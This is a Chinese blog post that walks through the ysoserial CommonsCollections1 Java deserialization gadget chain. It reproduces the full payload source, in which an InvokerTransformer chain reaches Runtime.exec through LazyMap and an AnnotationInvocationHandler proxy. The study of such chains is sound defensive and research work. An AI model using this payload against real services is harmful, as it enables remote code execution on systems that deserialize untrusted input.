yso之Commons Collections

CommonCollection Gadget主要是由ConstantTransformerInvokerTransformerChainedTransformer构成。gadget主要通过Transformer接口的transform方法,对输入的对象做变换。

  • ConstantTransformer不会做任何变换,只会返回类在实例化时传入的对象,
  • InvokerTransformer会对类在实例化时传入的参数,通过反射去调用,
  • ChainedTransformer将所有的Transformer连接起来,上一个Transformertransform方法的结果,作为下一个Transformertransform方法的参数。这样就完成java反序列化的gadget。

对于Commons Collections是一个基础数据结构包,扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。这里主要关注一下以下这个功能

  • 转化装饰器:修改每一个添加到collection中的object

Commons Collections这个第三方基础库实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是在于这个点。

首先理一下反序列化漏洞的攻击流程:

  1. 客户端构造payload(有效载荷),并进行一层层的封装,完成最后的exp(exploit-利用代码)
  2. exp发送到服务端,进入一个服务端自主复写(也可能是也有组件复写)的readobject函数,它会反序列化恢复我们构造的exp去形成一个恶意的数据格式exp_1(剥去第一层)
  3. 这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在外面的逻辑中),会执行一个exp_1这个恶意数据类的一个方法,在方法中会根据exp_1的内容进行函处理,从而一层层地剥去(或者说变形、解析)我们exp_1变成exp_2、exp_3......
  4. 最后在一个可执行任意命令的函数中执行最后的payload,完成远程代码执行。

要注意两点:

反序列化利用链:服务端中存在的反序列化利用链,会一层层拨开我们的exp,最后执行payload。ysoserial这个工具里就有对cc链的7种利用方式。

readObject():也就是服务端存在的可以与漏洞链相接并可以从外部访问的readObject(),并能复写,从而达到命令执行的效果。

这里将通过调试ysoserial里边关于commons collections的poc得到漏洞利用链的调用栈,顺便介绍一下各个类,再通过分析调用栈的函数,反推出poc来看看其中的利用原理。

先来看一下commons collections1,代码如下

package ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

	public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup  
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

        //创建Map并绑定transformerChina
		final Map innerMap = new HashMap();     

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);   
        
        //
		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return handler;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections1.class, args);
	}

	public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

小声bb:两个月前看的了,一直耽搁了,唉。都过去两个月了。

参考链接:JAVA反序列化 - Commons-Collections组件

猜你喜欢

转载自blog.csdn.net/Candyys/article/details/107027830